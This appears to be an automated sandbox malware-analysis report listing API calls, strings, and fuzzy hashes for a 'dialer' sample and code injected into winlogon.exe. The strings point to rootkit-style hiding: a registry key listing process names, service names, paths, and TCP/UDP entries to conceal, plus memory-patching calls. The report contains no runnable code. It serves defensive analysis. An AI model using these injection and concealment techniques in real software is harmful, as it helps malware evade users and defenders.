SysFreeString.OLEAUT32 ref: 0000000140001B38

Strings

dialersvc64, xrefs: 00000001400019DD

Memory Dump Source

Source File: 00000017.00000002.2150397752.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000017.00000002.2150376497.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150417261.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150435020.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: dialersvc64
API String ID: 4184240511-3881820561
Opcode ID: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction ID: f04b9e4fe08d72b668f3c34f73b3c63bb96ebc933f76805d9c48aa5d26f439e8
Opcode Fuzzy Hash: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction Fuzzy Hash: 69415A72704A819AE712CF6AE8543DD73B5FB89B89F044125EF4E47A64DF38D149C300

Function 0000000140001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 0000000140001034
RegDeleteKeyW.ADVAPI32 ref: 0000000140001045
RegEnumKeyExW.ADVAPI32 ref: 0000000140001082
RegCloseKey.ADVAPI32 ref: 0000000140001093
RegDeleteKeyExW.ADVAPI32 ref: 00000001400010B0

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140001026, 000000014000109C

Memory Dump Source

Source File: 00000017.00000002.2150397752.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000017.00000002.2150376497.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150417261.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150435020.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_140000000_dialer.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction ID: 8f4ace04a6ff3505bb025a84b088d585f414f6eddbaae7ea6d4a7c6b6057ac94
Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction Fuzzy Hash: 2F1186B2714A8486E762CF26F8557E92378F78C7D8F404215A74D0BAA8DF7CC248CB54

Function 0000000140002A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000140002ACB
WriteFile.KERNEL32 ref: 0000000140002AF3
WriteFile.KERNEL32 ref: 0000000140002B16
CloseHandle.KERNEL32 ref: 0000000140002B1F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 0000000140002AA8

Memory Dump Source

Source File: 00000017.00000002.2150397752.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000017.00000002.2150376497.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150417261.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150435020.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_140000000_dialer.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 148219782-3440882674
Opcode ID: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction ID: c657f3a7a6ba8077c0f3fca19c98ae9a251d12aa6ce49f65425284bb78429f7a
Opcode Fuzzy Hash: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction Fuzzy Hash: AE1139B6720B5082EB16CF16F818399A764F78DFE4F544215AB6907BA4CF78C549CB40

Function 0000000140001914 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001924
GetProcAddress.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001937

Strings

ntdll.dll, xrefs: 000000014000191A

Memory Dump Source

Source File: 00000017.00000002.2150397752.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000017.00000002.2150376497.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150417261.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.2150435020.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction ID: 7108e587e86fbdef38877cdd133235ae9a077454219746bc209a409130a8dfa8
Opcode Fuzzy Hash: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction Fuzzy Hash: 5BD0C9F471260582EE1BDBA378643E552996B5CBC5F884020AE164B360DA38C1998600

Analysis Process: winlogon.exePID: 564, Parent PID: 7888COMMON

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	94.4%
Signature Coverage:	0%
Total number of Nodes:	107
Total number of Limit Nodes:	16

Executed Functions

Function 000001E858981628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001E858981633
HeapAlloc.KERNEL32 ref: 000001E858981642

Part of subcall function 000001E858981268: GetProcessHeap.KERNEL32 ref: 000001E85898126E
Part of subcall function 000001E858981268: HeapAlloc.KERNEL32 ref: 000001E85898127D
Part of subcall function 000001E858981268: GetProcessHeap.KERNEL32 ref: 000001E858981297
Part of subcall function 000001E858981268: HeapAlloc.KERNEL32 ref: 000001E8589812A8

RegOpenKeyExW.ADVAPI32 ref: 000001E8589816B2
RegOpenKeyExW.ADVAPI32 ref: 000001E8589816DF
RegCloseKey.ADVAPI32 ref: 000001E8589816F9
RegOpenKeyExW.ADVAPI32 ref: 000001E858981719
RegCloseKey.ADVAPI32 ref: 000001E858981734
RegOpenKeyExW.ADVAPI32 ref: 000001E858981754
RegCloseKey.ADVAPI32 ref: 000001E85898176F
RegOpenKeyExW.ADVAPI32 ref: 000001E85898178F
RegCloseKey.ADVAPI32 ref: 000001E8589817AA
RegOpenKeyExW.ADVAPI32 ref: 000001E8589817CA
RegCloseKey.ADVAPI32 ref: 000001E8589817E5
RegOpenKeyExW.ADVAPI32 ref: 000001E858981805
RegCloseKey.ADVAPI32 ref: 000001E858981820
RegOpenKeyExW.ADVAPI32 ref: 000001E858981840
RegCloseKey.ADVAPI32 ref: 000001E85898185B
RegOpenKeyExW.ADVAPI32 ref: 000001E85898187B
RegCloseKey.ADVAPI32 ref: 000001E858981896
RegCloseKey.ADVAPI32 ref: 000001E8589818A0

Part of subcall function 000001E8589812BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001E858981319
Part of subcall function 000001E8589812BC: GetProcessHeap.KERNEL32 ref: 000001E858981327
Part of subcall function 000001E8589812BC: HeapAlloc.KERNEL32 ref: 000001E858981338
Part of subcall function 000001E8589812BC: RegEnumValueW.ADVAPI32 ref: 000001E858981397
Part of subcall function 000001E8589812BC: GetProcessHeap.KERNEL32 ref: 000001E8589813DF
Part of subcall function 000001E8589812BC: HeapAlloc.KERNEL32 ref: 000001E8589813ED
Part of subcall function 000001E8589812BC: GetProcessHeap.KERNEL32 ref: 000001E85898140A
Part of subcall function 000001E8589812BC: HeapFree.KERNEL32 ref: 000001E858981418
Part of subcall function 000001E8589812BC: lstrlenW.KERNEL32 ref: 000001E858981421
Part of subcall function 000001E8589812BC: GetProcessHeap.KERNEL32 ref: 000001E85898142F
Part of subcall function 000001E8589812BC: HeapAlloc.KERNEL32 ref: 000001E85898143D

Strings

paths, xrefs: 000001E858981788
tcp_local, xrefs: 000001E8589817FE
udp, xrefs: 000001E858981874
process_names, xrefs: 000001E85898174D
tcp_remote, xrefs: 000001E858981839
pid, xrefs: 000001E858981712
startup, xrefs: 000001E8589816D5
SOFTWARE\dialerconfig, xrefs: 000001E858981692
service_names, xrefs: 000001E8589817C3

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 21d86d412d1650ae27b0043b2d401094e46d8c624b6cd0b43ec9435d42789ffa
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 2D710A36321A91C6EB10AF66E8916EDB3A5FF84B98F401132DE4E57B69EF38C454C740

Function 000001E858983790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000001E85898379E
GetCurrentProcess.KERNEL32 ref: 000001E8589837CC
VirtualProtectEx.KERNEL32 ref: 000001E8589837EE
GetCurrentProcess.KERNEL32 ref: 000001E858983809
VirtualProtectEx.KERNEL32 ref: 000001E85898382A

Strings

wr, xrefs: 000001E8589837FF

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: d234e4461be7ce666b4697da3425b0a366aa51e2e4cc7be98c343ce9cae75724
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 05115B36724BC1C2EF159B22E4086ADB2A1FB88B85F44003ADE8E07794EF3DC505CB04

Function 000001E858985B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001E858985B6B
GetThreadContext.KERNEL32 ref: 000001E858985CD5

Part of subcall function 000001E858985960: GetCurrentThreadId.KERNEL32 ref: 000001E858985964

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
Instruction ID: a4617b46cd32b3a0414ab7f2d2c5e1ab313b6a71b2cba704dad36ec99b28e09a
Opcode Fuzzy Hash: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
Instruction Fuzzy Hash: 9DD17776214B89C6DB709B56E49439EB7A0FB88B84F500126EE8D47BA9DF3CC545CF40

Function 000001E8589850D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001E858985156

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
Instruction ID: fa7807662b3792369c97fc6f37bebb2b001074cd7c6065ce50333d33d1213250
Opcode Fuzzy Hash: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
Instruction Fuzzy Hash: 11029436229BC5C6EB60CB59E49079EB7A1F785794F104026EA8E87BA9DF7CC454CF00

Function 000001E8589839E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000001E858983A66
VirtualAlloc.KERNEL32 ref: 000001E858983AA0

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: 5ad133b89d074dd97bec0c1f73fb02c24c1f243091b434175b3c7d6c02ead25a
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: E531EC32239AC5C1EA70DA15E85539EF6A4FB88784F500536EACE46BA8DF7DC5809F04

Function 000001E85898328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001E8589832AE
PathFindFileNameW.SHLWAPI ref: 000001E8589832BD

Part of subcall function 000001E858983844: StrCmpNIW.SHLWAPI ref: 000001E85898385C

Part of subcall function 000001E858983790: GetModuleHandleW.KERNEL32 ref: 000001E85898379E
Part of subcall function 000001E858983790: GetCurrentProcess.KERNEL32 ref: 000001E8589837CC
Part of subcall function 000001E858983790: VirtualProtectEx.KERNEL32 ref: 000001E8589837EE
Part of subcall function 000001E858983790: GetCurrentProcess.KERNEL32 ref: 000001E858983809
Part of subcall function 000001E858983790: VirtualProtectEx.KERNEL32 ref: 000001E85898382A

CreateThread.KERNEL32 ref: 000001E85898330B

Part of subcall function 000001E858981D14: GetCurrentThread.KERNEL32 ref: 000001E858981D1F

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 9367effade6da1e612e9811c82477e14b03a08a888ac1948d4cbee7ffa7af72d
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: F41152716346C2C2FB60AB62F8493DDF294BF54385F90413FAD4E82995EF7CC0849A10

Function 000001E858984DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000001E858984DF4
VirtualProtect.KERNEL32 ref: 000001E858984E37
FlushInstructionCache.KERNEL32 ref: 000001E858984E4C

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
Instruction ID: 5a9e8cf37d9f90f00b28642c3c3ed99c7679eb8f6b8d0d5ae9ec7e4d6c0d13b2
Opcode Fuzzy Hash: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
Instruction Fuzzy Hash: DFF01D76228B85C1D630DB51E44038EBBA0FB887D4F140122BE8D43B69CE3CC5808F00

Function 000001E85895273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001E8589527DB
LoadLibraryA.KERNELBASE ref: 000001E85895285E

Memory Dump Source

Source File: 0000001D.00000002.3309693197.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858950000_winlogon.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 664efa2306450b3d651c980b7901db96b5cccce9d6076fff7dea8f6b8d110b4a
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 3261CC72B21690C7DA548F95D1207ADF3A2FF54BA5F588132DE5D07788DE38D852C700

Function 000001E858981ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001E858981628: GetProcessHeap.KERNEL32 ref: 000001E858981633
Part of subcall function 000001E858981628: HeapAlloc.KERNEL32 ref: 000001E858981642
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E8589816B2
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E8589816DF
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E8589816F9
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E858981719
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E858981734
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E858981754
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E85898176F
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E85898178F
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E8589817AA
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E8589817CA

Sleep.KERNEL32 ref: 000001E858981AD7
SleepEx.KERNELBASE ref: 000001E858981ADD

Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E8589817E5
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E858981805
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E858981820
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E858981840
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E85898185B
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E85898187B
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E858981896
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E8589818A0

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 4bfe8da4bf64d09d75688e0bc86698689cfa1098149370d4ad6d534f2979ed62
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: D7317771231AC2D6EB50BB26DA513FDF3A9AF84BD0F0454339E0D87699FE24C8918A10

Function 000001E8589B273C Relevance: 1.4, APIs: 1, Instructions: 187
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001E8589B27DB

Memory Dump Source

Source File: 0000001D.00000002.3310065596.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: c921608bc3ed8dae174af04d789195309c5edfcc0c714fa749226a5546365456
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 7161DD32B29690CBEB548F95D1007ADF3A2FB54BA5F588136DE5D07788DE38D852C700

Non-executed Functions

Function 000001E858982B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 000001E858982BD0
lstrlenW.KERNEL32 ref: 000001E858982E0A

Part of subcall function 000001E85898199C: OpenProcess.KERNEL32 ref: 000001E8589819C2
Part of subcall function 000001E85898199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001E8589819E0
Part of subcall function 000001E85898199C: PathFindFileNameW.SHLWAPI ref: 000001E8589819EF
Part of subcall function 000001E85898199C: lstrlenW.KERNEL32 ref: 000001E8589819FB
Part of subcall function 000001E85898199C: StrCpyW.SHLWAPI ref: 000001E858981A0E
Part of subcall function 000001E85898199C: CloseHandle.KERNEL32 ref: 000001E858981A1C

GetProcAddress.KERNEL32 ref: 000001E858982BE5

Part of subcall function 000001E85898152C: StrCmpIW.SHLWAPI ref: 000001E85898155D

Part of subcall function 000001E858983844: StrCmpNIW.SHLWAPI ref: 000001E85898385C

StrCmpNIW.SHLWAPI ref: 000001E858982C28
lstrlenW.KERNEL32 ref: 000001E858982D50

Strings

ntdll.dll, xrefs: 000001E858982BC9
\Device\Nsi, xrefs: 000001E858982C1B
NtQueryObject, xrefs: 000001E858982BDB

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 04a661148b50104311287319c74e3cfe1c909468e327bc71e4abbcab7385a8c3
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: A6B15476220AD2C6EB699FA5D8407EDF3A5FB84B84F445027EE0D57B95EE35C880CB40

Function 000001E858987D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001E858987DAC
RtlCaptureContext.NTDLL ref: 000001E858987DD9
RtlLookupFunctionEntry.NTDLL ref: 000001E858987DF3
RtlVirtualUnwind.NTDLL ref: 000001E858987E34
IsDebuggerPresent.KERNEL32 ref: 000001E858987E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001E858987EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001E858987EB4

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: c25654e1fbf133ad71a07c6f0efe47fc9d8043adbf42997a59493c9db71f9faa
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 41313B76225BC1DAEB609F60E8807EDB365FB84744F44442ADA4E57B99EF38C648CB10

Function 000001E85898D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001E85898D31D
RtlLookupFunctionEntry.NTDLL ref: 000001E85898D335
RtlVirtualUnwind.NTDLL ref: 000001E85898D370
IsDebuggerPresent.KERNEL32 ref: 000001E85898D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001E85898D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001E85898D3BE

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 0fd8bee66b9aa75a719588d4164310d191915e835c40ed0449f42a8a8d7cafff
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: A5313D36224BC1D6EB60DB25E8403EEB3A4FB89754F500126EE9D53B59DF38C555CB00

Function 000001E858987960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001E85898798C
GetCurrentThreadId.KERNEL32 ref: 000001E85898799A
GetCurrentProcessId.KERNEL32 ref: 000001E8589879A6
QueryPerformanceCounter.KERNEL32 ref: 000001E8589879B6

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 34985af1e6a69c2e887ac8394de09c6f631af6656f7e96728bd996360b5e390c
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 7D111C36720F91C9EB109B60E8553AD73A4FB19758F440E32DE6E467A4DF78D1988380

Function 000001E85898DCE0 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction ID: 30bb9f7e9d87a9d9c65bc2380062ff3bad17e1f141d89e57fb0a08f8465aebfb
Opcode Fuzzy Hash: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction Fuzzy Hash: C551B5327246D1D9FB209B72E8407EEBBA5FB84794F144126EE9D67B95DE38C501CB00

Function 000001E8589636F0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.3309693197.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858950000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction ID: 1e72e37fc9f235eb4f944ff72101e8db7dacc5524e3e801771df4715c73e88ad
Opcode Fuzzy Hash: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction Fuzzy Hash: 1BF0F4716356948EDB988F69E443759B7A1F748384FD0812ADA8EC3A14DB3C8455CF14

